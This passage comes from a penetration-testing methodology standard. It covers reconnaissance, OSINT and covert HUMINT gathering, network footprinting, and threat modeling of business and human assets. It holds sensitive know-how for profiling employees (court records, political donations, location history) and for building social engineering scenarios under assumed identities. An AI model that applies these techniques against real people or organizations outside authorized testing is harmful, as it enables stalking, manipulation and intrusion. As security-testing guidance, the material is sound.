- **Active Information Gathering**: Active information gathering should be detected by the target and suspicious or malicious behavior. During this stage we are actively mapping network infrastructure (think full port scans nmap

–p1-65535), actively enumerating and/or vulnerability scanning the open services, we are actively searching for unpublished directories, files, and servers. Most of this activity falls into your typically "reconnaissance" or "scanning" activities for your standard pentest.

3.4.1 Corporate

Physical

Locations (L1)

Per location listing of full address, ownership, associated records (city, tax, legal, etc), Full listing of all physical security measures for the location (camera placements, sensors, fences, guard posts, entry control, gates, type of identification, supplier's entrance, physical locations based on IP blocks/geolocation services, etc… For Hosts/NOC: Full CIDR notation of hosts and networks, full DNS listing of all associated assets, Full mapping of AS, peering paths, CDN provisioning, netblock owners (whois data), email records (MX + mail address structure)

- Owner (L1/L2)
- Land/tax records (L1/L2)
- Shared/individual (L1/L2)
- Timezones (L1/L2)
- Hosts / NOC

Pervasiveness (L1)

It is not uncommon for a target organization to have multiple separate physical locations. For example, a bank will have central offices, but they will also have numerous remote branches as well. While physical and technical security may be very good at central locations, remote locations often have poor security controls.

Relationships (L1)

Business partners, customs, suppliers, analysis via whats openly shared on corporate web pages, rental companies, etc. This information can be used to better understand the business or organizational projects. For example, what products and services are critical to the target organization?

Also, this information can also be used to create successful social engineering scenarios.

- Relationships (L2/L3)

  Manual analysis to vet information from level 1, plus dig deeper into possible relationships.

- Shared office space (L2/L3)
- Shared infrastructure (L2/L3)
- Rented / Leased Equipment (L2/L3)

Logical

Accumulated information for partners, clients and competitors: For each one, a full listing of the business name, business address, type of relationship, basic financial information, basic hosts/network information.

- Business Partners (L1/L2/L3)

Target's advertised business partners. Sometimes advertised on main www.

- Business Clients (L1/L2/L3)

  Target's advertised business clients. Sometimes advertised on main www.

- Competitors (L1/L2/L3)

  Who are the target's competitors. This may be simple, Ford vs Chevy, or may require much more analysis.

- Touchgraph (L1)

  A touchgraph (visual representation of the social connections between people) will assist in mapping out the possible interactions between people in the organization, and how to access them from the outside (when a touchgraph includes external communities and is created with a depth level of above 2). The basic touchgraph should reflect the organizational structure derived from the information gathered so far, and further expansion of the graph should be based on it (as it usually represents the focus on the organizational assets better, and make possible approach vectors clear.

- Hoovers profile (L1/L2)

  What: a semi-open source intelligence resource (paid subscriptions usually). Such sources specialize in gathering business related information on companies, and providing a "normalized" view on the business. Why: The information includes physical locations, competitive landscape, key personnel, financial information, and other business related data (depending on the source). This can be used to create a more accurate profile of the target, and identify additional personnel and 3rd parties which can be used in the test. How: Simple search on the site with the business name provide the entire profile of the company and all the information that is available on it. Its recommended to use a couple of sources in order to cross reference them and make sure you get the most up-to-date information. (paid for service).

- Product line (L2/L3)

  Target's product offerings which may require additional analysis if the target does offer services as well this might require further analysis.

- Market Vertical (L1)

  Which industry the target resides in. i.e. financial, defense, agriculture, government, etc

- Marketing accounts (L2/L3)

  Marketing activities can provide a wealth of information on the marketing strategy of the target Evaluate all the social media Networks for the target's social personas Evaluate the target's past * marketing campaigns

- Meetings (L2/L3)

  Meeting Minutes published? Meetings open to public?

- Significant company dates (L1/L2/L3)

  Board meetings Holidays Anniversaries Product/service launch

- Job openings (L1/L2)

  By viewing a list of job openings at an organization (usually found in a 'careers' section of their website), you can determine types of technologies used within the organization. One example would be if an organization has a job opening for a Senior Solaris Sysadmin then it is pretty obvious that the organization is using Solaris systems. Other positions may not be as obvious by the job title, but an open Junior Network Administrator position may say something to the effect of 'CCNA preferred' or 'JNCIA preferred' which tells you that they are either using Cisco or Juniper technologies.

- Charity affiliations (L1/L2/L3)

  It is very common for executive members of a target organization to be associated with charitable organizations. This information can be used to develop solid social engineering scenarios for targeting executives.

- RFP, RFQ and other Public Bid Information (L1/L2)

  RFPs and RFQs often reveal a lot of information about the types of systems used by a company, and potentially even gaps or issues with their infrastructure. Finding out who current bid winners are may reveal the types of systems being used or a location where company resources might be hosted off-site.

- Court records (L2/L3)

  Court records are usually available either free or sometimes at a fee. Contents of litigation can reveal information about past complainants including but not limited to former employee lawsuits Criminal records of current and past employees may provide a list of targets for social engineering efforts

- Political donations (L2/L3)

  Mapping out political donations or other financial interests is important in order to identify pivotal individuals who may not be in obvious power positions but have a vested interest (or there is a vested interes in them). Political donation mapping will change between countries based on the freedom of information, but often cases donations from other countries can be traced back using the data available there.

- Professional licenses or registries (L2/L3)

  Gathering a list of your targets professional licenses and registries may offer an insight into not only how the company operated, but also the guidelines and regulations that they follow in order to maintain those licenses. A prime example of this is a companies ISO standard certification can show that a company follows set guidelines and processes. It is important for a tester to be aware of these processes and how they could affect tests being performed on the organization. A company will often list these details on their website as a badge of honor. In other cases it may be necessary to search registries for the given vertical in order to see if an organization is a member. The information that is available is very dependent on the vertical market, as well as the geographical location of the company. It should also be noted that international companies may be licensed differently and be required to register with different standards or legal bodies dependent on the country.

Org Chart (L1)

- Position identification
  - Important people in the organization
  - Individuals to specifically target
- Transactions
  - Mapping on changes within the organization (promotions, lateral movements)
- Affiliates
  - Mapping of affiliate organizations that are tied to the business

Electronic

Document Metadata (L1/L2)

- What it is? Metadata or meta-content provides information about the data/document in scope. It can have information such as author/creator name, time and date, standards used/referred, location in a computer network (printer/folder/directory path/etc. info), geo-tag etc. For an image its' metadata can contain color, depth, resolution, camera make/type and even the co-ordinates and location information.
- Why you would do it? Metadata is important because it contains information about the internal network, usernames, email addresses, printer locations etc. and will help to create a blueprint of the location. It also contains information about software used in creating the respective documents. This can enable an attacker to create a profile and/or perform targeted attacks with internal knowledge on the networks and users.
- How you would do it? There are tools available to extract the metadata from the file (pdf/word/image) like FOCA (GUI-based), metagoofil (python-based), meta-extractor, exiftool (perl-based). These tools are capable of extracting and displaying the results in different formats as HTML, XML, GUI, JSON etc. The input to these tools is mostly a document downloaded from the public presence of the 'client' and then analyzed to know more about it. Whereas FOCA helps you search documents, download and analyzes all through its GUI interface.

Marketing Communications (L1/L2)

- Past marketing campaigns provide information for projects which might of been retired that might still be accessible.
- Current marketing communications contain design components (Colors, Fonts, Graphics etc..) which are for the most part used internally as well.
- Additional contact information including external marketing organizations.

Infrastructure Assets

Network blocks owned (L1)

- Network Blocks owned by the organization can be passively obtained from performing whois searches. DNSStuff.com is a one stop shop for obtaining this type of information.
- Open Source searches for IP Addresses could yield information about the types of infrastructure at the target. Administrators often post ip address information in the context of help requests on various support sites.

Email addresses (L1)

- E-mail addresses provide a potential list of valid usernames and domain structure
- E-mail addresses can be gathered from multiple sources including the organizations website.

External infrastructure profile (L1)

- The target's external infrastructure profile can provide immense information about the technologies used internally.
- This information can be gathered from multiple sources both passively and actively.
- The profile should be utilized in assembling an attack scenario against the external infrastructure.

Technologies used (L1/L2)

- OSINT searches through support forums, mailing lists and other resources can gather information of technologies used at the target
- Use of Social engineering against the identified information technology organization
- Use of social engineering against product vendors

Purchase agreements (L1/L2/L3)

- Purchase agreements contain information about hardware, software, licenses and additional tangible asset in place at the target.

Remote access (L1/L2)

- Obtaining information on how employees and/or clients connect into the target for remote access provides a potential point of ingress.
- Often times link to remote access portal are available off of the target's home page
- How To documents reveal applications/procedures to connect for remote users

Application usage (L1/L2)

Gather a list of known application used by the target organization. This can often be achieved by extracting metadata from publicly accessible files (as discussed previously)

Defense technologies (L1/L2/L3)

Fingerprinting defensive technologies in use can be achieved in a number of ways depending on the defenses in use.

Passive fingerprinting

- Search forums and publicly accessible information where technicians of the target organisation may be discussing issues or asking for assistance on the technology in use
- Search marketing information for the target organisation as well as popular technology vendors
- Using Tin-eye (or another image matching tool) search for the target organisations logo to see if it is listed on vendor reference pages or marketing material

Active fingerprinting

- Send appropriate probe packets to the public facing systems to test patterns in blocking. Several tools exist for fingerprinting of specific WAF types.
- Header information both in responses from the target website and within emails often show information not only on the systems in use, but also the specific protection mechanisms enabled (e.g. Email gateway Anti-virus scanners)

Human capability (L1/L2/L3)

Discovering the defensive human capability of a target organization can be difficult. There are several key pieces of information that could assist in judging the security of the target organization.

- Check for the presence of a company-wide CERT/CSIRT/PSRT team
- Check for advertised jobs to see how often a security position is listed
- Check for advertised jobs to see if security is listed as a requirement for non-security jobs (e.g. developers)
- Check for out-sourcing agreements to see if the security of the target has been outsourced partially or in it's entirety
- Check for specific individuals working for the company that may be active in the security community

Financial

Reporting (L1/L2)

The targets financial reporting will depend heavily on the location of the organization. Reporting may also be made through the organizations head office and not for each branch office. In 2008 the SEC issued a proposed roadmap for adoption of the International Financial Reporting Standards (IFRS) in the US.

IFRS Adoption per country –> http://www.iasplus.com/en/resources/use-of-ifrs

Market analysis (L1/L2/L3)

- Obtain market analysis reports from analyst organizations (such as Gartner, IDC, Forrester, 541, etc…). This should include what the market definition is, market cap, competitors, and any major changes to the valuation, product, or company in general.

Trade capital

- Identify is the organization is allocating any trade capital, and in what percentage of the overall valuation and free capital it has. This will indicate how sensitive the organization is to market fluctuations, and whether it depends on external investment as part of it's valuation and cash flow.

Value history

- Charting of the valuation of the organization over time, in order to establish correlation between external and internal events, and their effect on the valuation.

EDGAR (SEC)

- What is it: EDGAR (the Electronic Data Gathering, Analysis, and Retrieval system) is a database of the U.S. Security and Exchanges Commission (SEC) that contains registration statements, periodic reports, and other information of all companies (both foreign and domestic) who are required by law to file.
- Why do it: EDGAR data is important because, in additional to financial information, it identifies key personnel within a company that may not be otherwise notable from a company's website or other public presence. It also includes statements of executive compensation, names and addresses of major common stock owners, a

summary of legal proceedings against the company, economic risk factors, and other potentially interesting data.

- How to obtain: The information is available on the SEC's EDGAR website (http://www.sec.gov/edgar.shtml). Reports of particular interest include the 10-K (annual report) and 10-Q (quarterly report).

3.4.2 Individual

Employee

History

- Court Records (L2/L3)
  - What is it: Court records are all the public records related to criminal and/or civil complaints, lawsuits, or other legal actions for or against a person or organization of interest.
  - Why you would do it: Court records could potentially reveal sensitive information related to an individual employee or the company as a whole. This information could be useful by itself or may be the driver for gaining additional information. It could also be used for social engineering or other purposes later on in the penetration test.
  - How you would do it: Much of this information is now available on the Internet via publicly available court websites and records databases. Some additional information may be available via pay services such as LEXIS/NEXIS. Some information may be available via records request or in person requests.
- Political Donations (L2/L3)
  - What is it: Political donations are an individual's personal funds directed to specific political candidates, political parties, or special interest organizations.
  - Why you would do it: Information about political donations could potentially reveal useful information related to an individual. This information could be used as a part of social network analysis to help draw connections between individuals and politicians, political candidates, or other political organizations. It could also be used for social engineering or other purposes later on in the penetration test.
  - How you would do it: Much of this information is now available on the Internet via publicly available websites (i.e., http://www.opensecrets.org/) that track political donations by individual. Depending upon the laws of a given state, donations over a certain amount are usually required to be recorded.
- Professional licenses or registries (L2/L3)
  - What is it: Professional licenses or registries are repositories of information that contain lists of members and other related information for individuals who have attained a particular license or some measure of specific affiliation within a community.
  - Why you would do it: Information about professional licenses could potentially reveal useful information related to an individual. This information could be used to validate an individual's trustworthiness (do they really have a particular certification as they claim) or as a part of social network analysisto help draw connections between individuals and other organizations. It could also be used for social engineering or other purposes later on in the penetration test.
  - How you would do it: Much of this information is now available on the Internet via publicly available websites. Typically, each organization maintains their own registry of information that may be available online or may require additional steps to gather.

Social Network (SocNet) Profile

- Metadata Leakage (L2/L3)
  - Location awareness via Photo Metadata
- Tone (L2/L3)
  - Expected deliverable: subjective identification of the tone used in communications – aggressive, passive, appealing, sales, praising, dissing, condescending, arrogance, elitist, underdog, leader, follower, mimicking, etc…
- Frequency (L2/L3)
  - Expected deliverable: Identification of the frequency of publications (once an hour/day/week, etc…). Additionally - time of day/week in which communications are prone to happen.
- Location awareness (L2/L3)

  Map location history for the person profiled from various sources, whether through direct interaction with applications and social networks, or through passive participation through photo metadata.
  - Bing Map Apps
  - Foursquare
  - Google Latitude
  - Yelp
  - Gowalla
- Social Media Presence (L1/L2/L3)

  Verify target's social media account/presence (L1). And provide detailed analysis (L2/L3)

Internet Presence

- Email Address (L1)
  - What it is? Email addresses are the public mail box ids of the users.
  - Why you would do it? Email address harvesting or searching is important because it serves multiple purposes - provides a probable user-id format which can later be brute-forced for access but more importantly it helps sending targeted spams and even to automated bots. These spam emails can contain exploits, malware etc. and can be addressed with specific content particularly to a user.
  - How you would do it? Email addresses can be searched and extracted from various websites, groups, blogs, forums, social networking portals etc. These email addresses are also available from various tech support websites. There are harvesting and spider tools to perform search for email addresses mapped to a certain domain (if needed).
- Personal Handles/Nicknames (L1)
- Personal Domain Names registered (L1/L2)
- Assigned Static IPs/Netblocks (L1/L2)

Physical Location

- Physical Location

  - Can you derive the target's physical location

Mobile Footprint

- Phone number (L1/L2/L3)
- Device type (L1/L2/L3)
- Use (L1/L2/L3)
- Installed applications (L1/L2/L3)
- Owner/administrator (L1/L2/L3)

"For Pay" Information

- Background Checks
- For Pay Linked-In
- LEXIS/NEXIS

3.5 Covert Gathering

3.5.1 Corporate

On-Location Gathering

Selecting specific locations for onsite gathering, and then performing reconnaissance over time (usually at least 2-3 days in order to assure patterns). The following elements are sought after when performing onsite intelligence gathering:

- Physical security inspections
- Wireless scanning / RF frequency scanning
- Employee behavior training inspection
- Accessible/adjacent facilities (shared spaces)
- Dumpster diving
- Types of equipment in use

Offsite Gathering

Identifying offsite locations and their importance/relation to the organization. These are both logical as well as physical locations as per the below:

- Data center locations
- Network provisioning/provider

3.5.2 HUMINT

Human intelligence complements the more passive gathering on the asset as it provides information that could not have been obtained otherwise, as well as add more "personal" perspectives to the intelligence picture (feelings, history, relationships between key individuals, "atmosphere", etc. . .)

The methodology of obtaining human intelligence always involves direct interaction - whether physical, or verbal. Gathering should be done under an assumed identity, that would be created specifically to achieve optimal information exposure and cooperation from the asset in question.

Additionally, intelligence gathering on more sensitive targets can be performed by utilizing observation only - again, either physically on location, or through electronic/remote means (CCTV, webcams, etc. . .). This is usually done in order to establish behavioral patterns (such as frequency of visitations, dress code, access paths, key locations that may provide additional access such as coffee shops).

Results

- Key Employees
- Partners/Suppliers
- Social Engineering

3.6 Footprinting

WHAT IT IS: External information gathering, also known as footprinting, is a phase of information gathering that consists of interaction with the target in order to gain information from a perspective external to the organization.

WHY: Much information can be gathered by interacting with targets. By probing a service or device, you can often create scenarios in which it can be fingerprinted, or even more simply, a banner can be procured which will identify the device. This step is necessary to gather more information about your targets. Your goal, after this section, is a prioritized list of targets.

3.6.1 External Footprinting

Identify Customer External Ranges

One of the major goals of intelligence gathering during a penetration test is to determine hosts which will be in scope. There are a number of techniques which can be used to identify systems, including using reverse DNS lookups, DNS bruting, WHOIS searches on the domains and the ranges. These techniques and others are documented below.

Passive Reconnaissance

WHOIS Lookups

For external footprinting, we first need to determine which one of the WHOIS servers contains the information we're after. Given that we should know the TLD for the target domain, we simply have to locate the Registrar that the target domain is registered with.

WHOIS information is based upon a tree hierarchy. ICANN (IANA) is the authoritative registry for all of the TLDs and is a great starting point for all manual WHOIS queries.

- ICANN - http://www.icann.org

- IANA - http://www.iana.com
- NRO - http://www.nro.net
- AFRINIC - http://www.afrinic.net
- APNIC - http://www.apnic.net
- ARIN - http://ws.arin.net
- LACNIC - http://www.lacnic.net
- RIPE - http://www.ripe.net

Once the appropriate Registrar was queried we can obtain the Registrant information. There are numerous sites that offer WHOIS information; however for accuracy in documentation, you need to use only the appropriate Registrar.

- InterNIC - http://www.internic.net/ http://www.internic.net]

Typically, a simple whois against ARIN will refer you to the correct registrar.

BGP looking glasses

It is possible to identify the Autonomous System Number (ASN) for networks that participate in Border Gateway Protocol (BGP). Since BGP route paths are advertised throughout the world we can find these by using a BGP4 and BGP6 looking glass.

- BGP4 - http://www.bgp4.as/looking-glasses
- BPG6 - http://lg.he.net/

Active Footprinting

Port Scanning

Port scanning techniques will vary based on the amount of time available for the test, and the need to be stealthy. If there is zero knowledge of the systems, a fast ping scan can be used to identify systems. In addition, a quick scan without ping verification (-PN in nmap) should be run to detect the most common ports avialable. Once this is complete, a more comprehensive scan can be run. Some testers check for only open TCP ports, make sure to check UDP as well. The http://nmap.org/nmap_doc.html document details port scan types. Nmap ("Network Mapper") is the de facto standard for network auditing/scanning. Nmap runs on both Linux and Windows.

You can find more information on the use of Nmap for this purpose in the PTES Technical Guideline

Nmap has dozens of options available. Since this section is dealing with port scanning, we will focus on the commands required to perform this task. It is important to note that the commands utilized depend mainly on the time and number of hosts being scanned. The more hosts or less time that you have to perform this tasks, the less that we will interrogate the host. This will become evident as we continue to discuss the options.

IPv6 should also be tested.

Banner Grabbing

Banner Grabbing is an enumeration technique used to glean information about computer systems on a network and the services running its open ports. Banner grabbing is used to identify network the version of applications and operating system that the target host are running.

Banner grabbing is usually performed on Hyper Text Transfer Protocol (HTTP), File Transfer Protocol (FTP), and Simple Mail Transfer Protocol (SMTP); ports 80, 21, and 25 respectively. Tools commonly used to perform banner grabbing are Telnet, nmap, and Netcat.

SNMP Sweeps

SNMP sweeps are performed too as they offer tons of information about a specific system. The SNMP protocol is a stateless, datagram oriented protocol. Unfortunately SNMP servers don't respond to requests with invalid community strings and the underlying UDP protocol does not reliably report closed UDP ports. This means that "no response" from a probed IP address can mean either of the following:

- machine unreachable
- SNMP server not running
- invalid community string
- the response datagram has not yet arrived

Zone Transfers

DNS zone transfer, also known as AXFR, is a type of DNS transaction. It is a mechanism designed to replicate the databases containing the DNS data across a set of DNS servers. Zone transfer comes in two flavors, full (AXFR) and incremental (IXFR). There are numerous tools available to test the ability to perform a DNS zone transfer. Tools commonly used to perform zone transfers are host, dig and nmap.

SMTP Bounce Back

SMTP bounce back, also called a Non-Delivery Report/Receipt (NDR), a (failed) Delivery Status Notification (DSN) message, a Non-Delivery Notification (NDN) or simply a bounce, is an automated electronic mail message from a mail system informing the sender of another message about a delivery problem. This can be used to assist an attacker in fingerprint the SMTP server as SMTP server information, including software and versions, may be included in a bounce message.

This can be done by simply creating a bogus address within the target's domain. For instance, asDFADSF_garbage_address@target.com could be used to test target.com. Gmail provides full access to the headers, making it an easy choice for testers.

DNS Discovery

DNS discovery can be performed by looking at the WHOIS records for the domain's authoritative nameserver. Additionally, variations of the main domain name should be checked, and the website should be checked for references to other domains which could be under the target's control.

Forward/Reverse DNS

Reverse DNS can be used to obtain valid server names in use within an organizational. There is a caveat that it must have a PTR (reverse) DNS record for it to resolve a name from a provided IP address. If it does resolve then the results are returned. This is usually performed by testing the server with various IP addresses to see if it returns any results.

DNS Bruteforce

After identifying all the information that is associated with the client domain(s), it is now time to begin to query DNS. Since DNS is used to map IP addresses to hostnames, and vice versa we will want to see if it is insecurely configure. We will seek to use DNS to reveal additional information about the client. One of the most serious misconfigurations involving DNS is allowing Internet users to perform a DNS zone transfer. There are several tools that we can use to enumerate DNS to not only check for the ability to perform zone transfers, but to potentially discover additional host names that are not commonly known.

Web Application Discovery

Identifying weak web applications can be a particularly fruitful activity during a penetration test. Things to look for include OTS applications that have been misconfigured, OTS application which have plugin functionality (plugins often contain more vulnerable code than the base application), and custom applications. Web application fingerprinters such as WAFP can be used here to great effect.

Virtual Host Detection & Enumeration

Web servers often host multiple "virtual" hosts to consolidate functionality on a single server. If multiple servers point to the same DNS address, they may be hosted on the same server. Tools such as MSN search can be used to map an ip address to a set of virtual hosts.

Establish External Target List

Once the activities above have been completed, a list of users, emails, domains, applications, hosts and services should be compiled.

Mapping versions

Version checking is a quick way to identify application information. To some extent, versions of services can be fingerprinted using nmap, and versions of web applications can often be gathered by looking at the source of an arbitrary page.

Identifying patch levels

To identify the patch level of services internally, consider using software which will interrogate the system for differences between versions. Credentials may be used for this phase of the penetration test, provided the client has acquiesced. Vulnerability scanners are particularly effective at identifying patch levels remotely, without credentials.

Looking for weak web applications

Identifying weak web applications can be a particularly fruitful activity during a penetration test. Things to look for include OTS applications that have been misconfigured, OTS application which have plugin functionality (plugins often contain more vulnerable code than the base application), and custom applications. Web application fingerprinters such as WAFP can be used here to great effect.

Identify lockout threshold

Identifying the lockout threshold of an authentication service will allow you to ensure that your bruteforce attacks do not intentionally lock out valid users during your testing. Identify all disparate authentication services in the environment, and test a single, innocuous account for lockout. Often 5 - 10 tries of a valid account is enough to determine if the service will lock users out.

3.6.2 Internal Footprinting

Passive Reconnaissance

If the tester has access to the internal network, packet sniffing can provide a great deal of information. Use techniques like those implemented in p0f to identify systems.

Identify Customer Internal Ranges

When performing internal testing, first enumerate your local subnet, and you can often extrapolate from there to other subnets by modifying the address slightly. Also, a look a the routing table of an internal host can be particularly telling. Below are a number of techniques which can be used.

DHCP servers can be a potential source of not just local information, but also remote IP range and details of important hosts. Most DHCP servers will provide a local IP gateway address as well as the address of DNS and WINS servers. In Windows based networks, DNS servers tend to be Active Directory domain controllers, and thus targets of interest.

Active Reconnaissance

Internal active reconnaissance should contain all the elements of an external one, and in addition should focus on intranet functionality such as:

- Directory services (Active Directory, Novell, Sun, etc. . .)
- Intranet sites providing business functionality
- Enterprise applications (ERP, CRM, Accounting, etc. . .)
- Identification of sensitive network segments (accounting, R&D, marketing, etc. . .)
- Access mapping to production networks (datacenters)
- VoIP infrastructure
- Authentication provisioning (kerberos, cookie tokens, etc. . .)
- Proxying and internet access management

3.7 Identify Protection Mechanisms

The following elements should be identified and mapped according to the relevant location/group/persons in scope. This will enable correct application of the vulnerability research and exploitation to be used when performing the actual attack - thus maximizing the efficiency of the attack, and minimizing the detection ratio.

3.7.1 Network Based Protections

- "Simple" Packet Filters
- Traffic Shaping Devices
- DLP Systems
- Encryption/Tunneling

3.7.2 Host Based Protections

- Stack/Heap Protections
- Application Whitelisting
- AV/Filtering/Behavioral Analysis
- DLP Systems

3.7.3 Application Level Protections

- Identify Application Protections
- Encoding Options
- Potential Bypass Avenues
- Whitelisted Pages

3.7.4 Storage Protections

- HBA - Host Level
- LUN Masking
- Storage Controller
- iSCSI CHAP Secret

3.7.5 User Protections

- AV/Spam Filtering Software

  SW Configuration which limit exploitability can be considered antispam / antiAV

CHAPTER 4

Threat Modeling

4.1 General

This section defines a threat modeling approach as required for a correct execution of a penetration test. The standard does not use a specific model, but instead requires that the model used be consistent in terms of its representation of threats, their capabilities, their qualifications as per the organization being tested, and the ability to repeatedly be applied to future tests with the same results.

The standard focuses on two key elements of traditional threat modeling - assets and attacker (threat community/agent). Each one is respectively broken down into business assets and business processes and the threat communities and their capabilities.

As a minimum, all four elements should be clearly identified and documented in every penetration test.

When modeling the attacker side, on top of the threat community (which is mostly semantic and can be tied back to the organization's business SWOT analysis), and the capabilities (which is mostly technical), additional aspects of motivation modeling should also be provided. These additional points essentially take into account the value of the different assets available at the target and are combined with the cost of acquiring it. As a complementary model, impact modeling should also be performed for the organization in order to provide a more accurate view of the "what-if?" scenario surrounding the loss event of each of the identified assets. This should take into account the assets "net" value, its intrinsic value, and other indirectly incurred costs associated with a loss event.

The threat modeling phase of any penetration testing engagement is critical for both the testers, as well as the organization. It provides clarity as far as the organization's risk appetite and prioritization (which assets are more important than others? what threat communities are more relevant than others?). Additionally, it enables the tester to focus on delivering an engagement that closely emulates the tools, techniques, capabilities, accessibility and general profile of the attacker, while keeping in mind what are the actual targets inside the organization such that the more relevant controls, processes, and infrastructure are put to the test rather than an inventory list of IT elements. The threat model should be constructed in coordination with the organization being tested whenever possible, and even in a complete black-box situation where the tester does not have any prior information on the organization, the tester should create a threat model based on the attacker's view in combination with OSINT related to the target organization.

The model should be clearly documented, and be delivered as part of the final report as the findings in the report will reference the threat model in order to create a more accurate relevance and risk score that is specific to the organization (rather than a generic technical one).

4.1.1 High level threat modeling process

1. Gather relevant documentation
2. Identify and categorize primary and secondary assets
3. Identify and categorize threats and threat communities
4. Map threat communities against primary and secondary assets

4.1.2 Example

In the light of a PTES assessment the internally hosted CRM application may be in scope. The customer information stored in the back-end database is an easily identifiable primary asset as it is directly linked to the application in scope. However, by reviewing the technical design of the database server, it can also be identified that the HR database stored on the same back-end database server is a secondary asset. An attacker can use the CRM application as a stepping stone to obtain employee information. In a basic threat modeling exercise, certain threat communities may be identified as not relevant when mapped to the CRM application, but by identifying the secondary assets the threat landscape suddenly changes.

4.1.3 High level modeling tools

There are a variety of tools available to identify targets and map attack vectors. These normally focus on the business assets (what systems to target) and business processes (how to attack them.) Depending on the engagement, the penetration testing team may perform these exercises with no input from the customer; or they may spend a lot of time with customer stakeholders identifying targets of interest. Tools with a business asset focus usually require a quantitative input to describe how important each potential target is to test. The inputs may also be qualitative, such as a description by the customer's CIO that a system is mission-critical. Tools focused on business processes, information flows and technical architecture are used to identify potential attack vectors and choose which are mostly likely to succed or most likely to be used by a certain class of adversary.

4.2 Business Asset Analysis

During the business asset analysis part of the threat modeling exercise an asset-centric view is taken on all assets, and business processes they support them, included in the scope. By analyzing the gathered documentation and interviewing relevant personnel within the organization, the pentester is able to identify the assets that are most likely to be targeted by an attacker, what their value is and what the impact of their (partial) loss would be.

4.2.1 Organizational Data

Policies, Plans, and Procedures

Internal policies, plans, and procedures define how the organization does business. These documents are of particular interest as they can help identify key roles within an organization and critical business processes that keep a company running.

Product Information (e.g. trade secrets, R&D data)

Product related information includes any patents, trade secrets, future plans, source code, supporting systems that directly affect the product market value, algorithms, and any other information that the organization regards as a key factor to the business success of such product.

Marketing Information (plans, roadmaps, etc.)

Marketing plans for promotions, launches, product changes, positioning, partnerships, 3rd party providers, business plans related to activities inside or outside the organization. Additionally, PR related data such as details of partners, reporters, consulting firm, and any correspondence with such entities is also considered a highly sought after target.

Financial Information (e.g. bank, credit, equity accounts)

Financial information is often some of the most guarded information an organization possesses. This information can include bank account information, credit card account information and/or credit card numbers, and investment accounts, among others.

Technical Information

Technical information about the organization, and the organization's operations, is of unique interest to the penetration tester. Such information is often not the expected deliverable of a penetration test, however, it facilitates the testing process by feeding valuable information to other areas; infrastructure design information may provide valuable data to the Intelligence Gathering process.

- Infrastructure Design Information

Infrastructure design related information pertains to all the core technologies and facilities used to run the organization. Building blueprints, technical wiring and connectivity diagrams, computing equipment/networking designs, and application level data processing are all considered infrastructure design information.

- System Configuration Information

System configuration information includes configuration baseline documentation, configuration checklists and hardening procedures, group policy information, operating system images, software inventories, etc. This information could aid the discovery of vulnerabilities (such as through the knowledge of configuration errors or outdated software installations).

- User Account Credentials

User account credentials help facilitate access to the information system, at a non-privileged level, as long as a means to authenticate exists (e.g. VPN, web portal, etc.).

- Privileged User Account Credentials

Privileged user account credentials help facilitate access to the information system, at an elevated level of access, as long as a means to authenticate exists (e.g. VPN, web portal, etc.). Obtaining privileged user account credentials often leads to compromise of the information system being tested.

Employee Data

Here employee data is being analyzed as any data that can have a DIRECT affect on the organization is obtained or compromised by an attacker. Organizations that have to adhere to some compliance which places fines on the loss or exposure of such data are obvious candidates for such a direct loss effect. Also, organizations who's employees may be considered critical assets may also be subjected to such scrutiny (specific government bodies, specialized trade secret related employees/departments, etc. . .). The following list provides examples to information realms of personal data that may be considered business assets for the threat modeling.

- National Identification Numbers (SSNs, etc.)
- Personally Identifiable Information (PII)
- Protected Health Information (PHI)

- Financial Information (e.g. bank, credit accounts)

Customer Data

Much like employee data, customer data is considered a business asset in the threat modeling process when such information will incur a direct/indirect loss to the organization. On top of regulatory/compliance need (based on fines), an additional factor comes into play here when such data can be used to conduct fraud, where the organization may be held liable or sued for the losses related to the fraud (based on losing the customer information that enabled the fraud to take place). The following list provides examples of such information realms that may hold relevant customer data and should be considered business assets for the sake of the threat modeling

- National Identification Numbers (SSN's, etc.)
- Personally Identifiable Information (PII)
- Protected Health Information (PHI)
- Financial Accounts (e.g. bank, credit, equity accounts)
- Supplier Data

Information related to suppliers that is considered critical to the organization (such as critical component manufacturers, agreements with suppliers that may be part of a trade secret, cost analysis of supplied components), as well as any data that may be used to affect the business operations of the organization through its suppliers is considered a business asset.

- Partner Data
- "Cloud" Service Account Information

4.2.2 Human Assets

When identifying human assets in an organization, we have to remember that the context is having such assets part of a greater effort to compromise the organization. As such, human assets that are identified as business assets are those that could be leveraged to divulge information, manipulated to make decisions or actions that would adversely affect the organization or enable an attacker to further compromise it. Human assets are not necessarily the highest up within the corporate hierarchy, but are more often key personnel that are related to previously identified business assets, or are in positions to enable access to such assets. This list can also include employees that normally would not be associated with access to restricted company assets, but may be in a position to grant physical access to a company that facilitates a breach of security or procedure. The following list provides some examples of such assets, and should be adapted to the organization being tested.

- Executive Management
- Executive Assistants
- Middle Management
- Administrative Assistants
- Technical/Team Leads
- Engineers
- Technicians
- Human Resources

4.3 Business Process Analysis

A business isn't a business if it doesn't make money. The way this happens is by having either raw goods or knowledge run through various processes to enhance them and create added value. This generates revenue. Business processes and the assets (people, technology, money) supporting them form value chains. By mapping these processes, identifying the critical vs. non-critical processes and eventually finding flaws in them we are able to understand how the business works, what makes them money and eventually how specific threat communities can make them lose money.

In the business process analysis we differentiate between critical business processes, and non-critical processes. For each category the analysis is the same, and takes into account the same elements. The main difference is in the weighting that the threat from a critical business process is assigned with as opposed to a non-critical one. Nevertheless, it's imperative to remember that an aggregation of a few non-critical business processes can be combined into a scenario that essentially forms a critical flaw within an element/process. Such threat scenarios should also be identified within this phase and mapped out for later use in the penetration test.

4.3.1 Technical infrastructure supporting process

As business processes are usually supported by IT infrastructure (such as computer networks, processing power, PCs for entering information and managing the business process, etc...), all those elements must be identified and mapped. Such mapping should be clear enough to be used later on in the process when translating the threat model to the vulnerability mapping and exploitation.

4.3.2 Information assets supporting process

Contrary to technical infrastructure, information assets are existing knowledge bases in the organization that are used as either a reference, or as support material (decision making, legal, marketing, etc...). Such assets are usually identified in the business process already, and should be mapped alongside the technical infrastructure, as well as any additional technical infrastructure that supports the information assets themselves.

4.3.3 Human assets supporting process

Identification of the HR that are involved in the business process should be made in conjunction with the process analysis itself (whether documented or not), and every person that has any kind of involvement (even if it does not relate to a specific information asset or a technical infrastructure element) should be documented and mapped in the process. Such HR assets are usually part of an approval sub-process, a verification sub-process, or even a reference (such as legal advice). These kinds of assets (especially ones that have no relation to information assets or technical infrastructure) would be later mapped to attack vectors that are more social than technical in nature.

4.3.4 3rd party integration and/or usage of/by process

